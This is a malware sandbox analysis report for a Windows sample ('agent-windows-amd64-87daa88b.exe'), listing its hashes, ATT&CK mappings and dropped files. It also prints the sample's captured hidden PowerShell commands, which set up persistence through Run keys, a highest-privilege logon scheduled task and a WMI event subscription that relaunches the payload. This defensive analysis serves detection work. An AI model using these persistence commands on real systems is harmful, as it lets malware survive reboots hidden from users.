3a88a778956d789de62edb92cf88280f2e6a9b036fc6c81f2784038c633dff2e

Analysis

user interaction
yes
max time kernel
149s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/06/2026, 19:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
agent-windows-amd64-87daa88b.exe
Size 42.6MB
Sample260628-x4wrpscv4s
SHA256 3a88a778956d789de62edb92cf88280f2e6a9b036fc6c81f2784038c633dff2e
MD5 aad49ba414c8507e02bde2417cd609b2
SHA1 35c89921bb5058bad56f06f6bbaa29b00e458fce
SHA512 0cfe357b03edfcb2171ad41dcaedc7b40a8d79f1656704b3713b77988286855add0fbbb540b7d8a0ed64f8fb5598171257a03843c7c2066317d32e481aaa7a40
SSDEEP 196608:WHK7mVVFfDw5WLmyzrADB6OwDda7CfctwR2ilWgT7IfU94y+psQYuHYNiQx:WkmVVFoWSuDd1MilWJf84y84YQx
TLSH
T178A73C53F8E21A85D8AAC574C772C17BBB613829077813E70690F7201F3ABD0DAB6B55
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3532	powershell.exe
960	powershell.exe
5912	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-4090050770.tmp	agent-windows-amd64-87daa88b.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-2911455578.tmp	ovd_f6b4b03ead63.exe

Executes dropped EXE 1 IoCs

pid	Process
5360	ovd_f6b4b03ead63.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000\Software\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-55fa4644 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\ovd_f6b4b03ead63.exe\""	ovd_f6b4b03ead63.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000\Software\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-ca33b5c1 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\ovd_f6b4b03ead63.exe\""	agent-windows-amd64-87daa88b.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3532	powershell.exe
3532	powershell.exe
960	powershell.exe
960	powershell.exe
5912	powershell.exe
5912	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3532	powershell.exe
Token: SeIncreaseQuotaPrivilege	3532	powershell.exe
Token: SeSecurityPrivilege	3532	powershell.exe
Token: SeTakeOwnershipPrivilege	3532	powershell.exe
Token: SeLoadDriverPrivilege	3532	powershell.exe
Token: SeSystemProfilePrivilege	3532	powershell.exe
Token: SeSystemtimePrivilege	3532	powershell.exe
Token: SeProfSingleProcessPrivilege	3532	powershell.exe
Token: SeIncBasePriorityPrivilege	3532	powershell.exe
Token: SeCreatePagefilePrivilege	3532	powershell.exe
Token: SeBackupPrivilege	3532	powershell.exe
Token: SeRestorePrivilege	3532	powershell.exe
Token: SeShutdownPrivilege	3532	powershell.exe
Token: SeDebugPrivilege	3532	powershell.exe
Token: SeSystemEnvironmentPrivilege	3532	powershell.exe
Token: SeRemoteShutdownPrivilege	3532	powershell.exe
Token: SeUndockPrivilege	3532	powershell.exe
Token: SeManageVolumePrivilege	3532	powershell.exe
Token: 33	3532	powershell.exe
Token: 34	3532	powershell.exe
Token: 35	3532	powershell.exe
Token: 36	3532	powershell.exe
Token: SeIncreaseQuotaPrivilege	3532	powershell.exe
Token: SeSecurityPrivilege	3532	powershell.exe
Token: SeTakeOwnershipPrivilege	3532	powershell.exe
Token: SeLoadDriverPrivilege	3532	powershell.exe
Token: SeSystemProfilePrivilege	3532	powershell.exe
Token: SeSystemtimePrivilege	3532	powershell.exe
Token: SeProfSingleProcessPrivilege	3532	powershell.exe
Token: SeIncBasePriorityPrivilege	3532	powershell.exe
Token: SeCreatePagefilePrivilege	3532	powershell.exe
Token: SeBackupPrivilege	3532	powershell.exe
Token: SeRestorePrivilege	3532	powershell.exe
Token: SeShutdownPrivilege	3532	powershell.exe
Token: SeDebugPrivilege	3532	powershell.exe
Token: SeSystemEnvironmentPrivilege	3532	powershell.exe
Token: SeRemoteShutdownPrivilege	3532	powershell.exe
Token: SeUndockPrivilege	3532	powershell.exe
Token: SeManageVolumePrivilege	3532	powershell.exe
Token: 33	3532	powershell.exe
Token: 34	3532	powershell.exe
Token: 35	3532	powershell.exe
Token: 36	3532	powershell.exe
Token: SeIncreaseQuotaPrivilege	3532	powershell.exe
Token: SeSecurityPrivilege	3532	powershell.exe
Token: SeTakeOwnershipPrivilege	3532	powershell.exe
Token: SeLoadDriverPrivilege	3532	powershell.exe
Token: SeSystemProfilePrivilege	3532	powershell.exe
Token: SeSystemtimePrivilege	3532	powershell.exe
Token: SeProfSingleProcessPrivilege	3532	powershell.exe
Token: SeIncBasePriorityPrivilege	3532	powershell.exe
Token: SeCreatePagefilePrivilege	3532	powershell.exe
Token: SeBackupPrivilege	3532	powershell.exe
Token: SeRestorePrivilege	3532	powershell.exe
Token: SeShutdownPrivilege	3532	powershell.exe
Token: SeDebugPrivilege	3532	powershell.exe
Token: SeSystemEnvironmentPrivilege	3532	powershell.exe
Token: SeRemoteShutdownPrivilege	3532	powershell.exe
Token: SeUndockPrivilege	3532	powershell.exe
Token: SeManageVolumePrivilege	3532	powershell.exe
Token: 33	3532	powershell.exe
Token: 34	3532	powershell.exe
Token: 35	3532	powershell.exe
Token: 36	3532	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2264 wrote to memory of 3532	2264	agent-windows-amd64-87daa88b.exe	89
PID 5360 wrote to memory of 960	5360	ovd_f6b4b03ead63.exe	94
PID 5360 wrote to memory of 5912	5360	ovd_f6b4b03ead63.exe	96

C:\Users\Admin\AppData\Local\Temp\agent-windows-amd64-87daa88b.exe
"C:\Users\Admin\AppData\Local\Temp\agent-windows-amd64-87daa88b.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_f6b4b03ead63.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_c2d36087' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3532

C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_f6b4b03ead63.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_f6b4b03ead63.exe"
1⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:5360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_f6b4b03ead63.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_c2d36087' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'ovd_fc2d36087'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'ovd_cc2d36087'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_f6b4b03ead63.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='ovd_fc2d36087'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='ovd_cc2d36087'\"; $null = $b.Put()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5912

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 177e06616404dba726903467964acc7747851dcc8220c628123fb5bb74b730e1
MD5 3f7b31439699dc01cc7d170e4d1c45ad
SHA1 8e9084aec5d2b3ae9e512c8d3cfe5b3438ff01a7
SHA512 6a6ae1ca1bff6105b72c97a3f147c39593fd15653ed0705ebee4533c432be1c7b31548fcc0d1e039bb465c2a42a18d28340f488c024cfef4582e96a5833cbeb0
TLSH
T110216833B3DD8624CC9A413A10CDAC1036B6C7DB41DECFAB6B84E659A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ze1iiev1.15p.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ze1iiev1.15p.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

agent-2608551443.tmp

Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\agent-2608551443.tmp
Size 42.6MB
SHA256 3a88a778956d789de62edb92cf88280f2e6a9b036fc6c81f2784038c633dff2e
MD5 aad49ba414c8507e02bde2417cd609b2
SHA1 35c89921bb5058bad56f06f6bbaa29b00e458fce
SHA512 0cfe357b03edfcb2171ad41dcaedc7b40a8d79f1656704b3713b77988286855add0fbbb540b7d8a0ed64f8fb5598171257a03843c7c2066317d32e481aaa7a40
SSDEEP 196608:WHK7mVVFfDw5WLmyzrADB6OwDda7CfctwR2ilWgT7IfU94y+psQYuHYNiQx:WkmVVFoWSuDd1MilWJf84y84YQx
TLSH
T178A73C53F8E21A85D8AAC574C772C17BBB613829077813E70690F7201F3ABD0DAB6B55
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3532-18-0x00007FF9DF6F0000-0x00007FF9E0094000-memory.dmp

Download

memory/3532-17-0x00007FF9DF6F0000-0x00007FF9E0094000-memory.dmp

Download

memory/3532-14-0x00007FF9DF6F0000-0x00007FF9E0094000-memory.dmp

Download

memory/3532-15-0x00007FF9DF6F0000-0x00007FF9E0094000-memory.dmp

Download

memory/3532-16-0x00007FF9DF6F0000-0x00007FF9E0094000-memory.dmp

Download

memory/3532-13-0x00007FF9DF6F0000-0x00007FF9E0094000-memory.dmp

Download

memory/3532-21-0x000002E56CCE0000-0x000002E56CCFE000-memory.dmp

Download

memory/3532-22-0x000002E56CFC0000-0x000002E56D072000-memory.dmp

Download

memory/3532-11-0x00007FF9DF6F0000-0x00007FF9E0094000-memory.dmp

Download

memory/3532-23-0x00007FF9DF6F0000-0x00007FF9E0094000-memory.dmp

Download

memory/3532-24-0x00007FF9DF6F0000-0x00007FF9E0094000-memory.dmp

Download

memory/3532-12-0x00007FF9DF6F0000-0x00007FF9E0094000-memory.dmp

Download

memory/3532-25-0x000002E56CD00000-0x000002E56CD0A000-memory.dmp

Download

memory/3532-26-0x00007FF9DF6F0000-0x00007FF9E0094000-memory.dmp

Download

memory/3532-27-0x00007FF9DF6F0000-0x00007FF9E0094000-memory.dmp

Download

memory/3532-28-0x00007FF9DF6F0000-0x00007FF9E0094000-memory.dmp

Download

memory/3532-29-0x000002E56CD30000-0x000002E56CD4E000-memory.dmp

Download

memory/3532-31-0x00007FF9DF6F0000-0x00007FF9E0094000-memory.dmp

Download

memory/3532-8-0x000002E56CC20000-0x000002E56CC42000-memory.dmp

Download

memory/3532-7-0x00007FF9DF6F0000-0x00007FF9E0094000-memory.dmp

Download

memory/3532-6-0x00007FF9DF87F000-0x00007FF9DF880000-memory.dmp

Download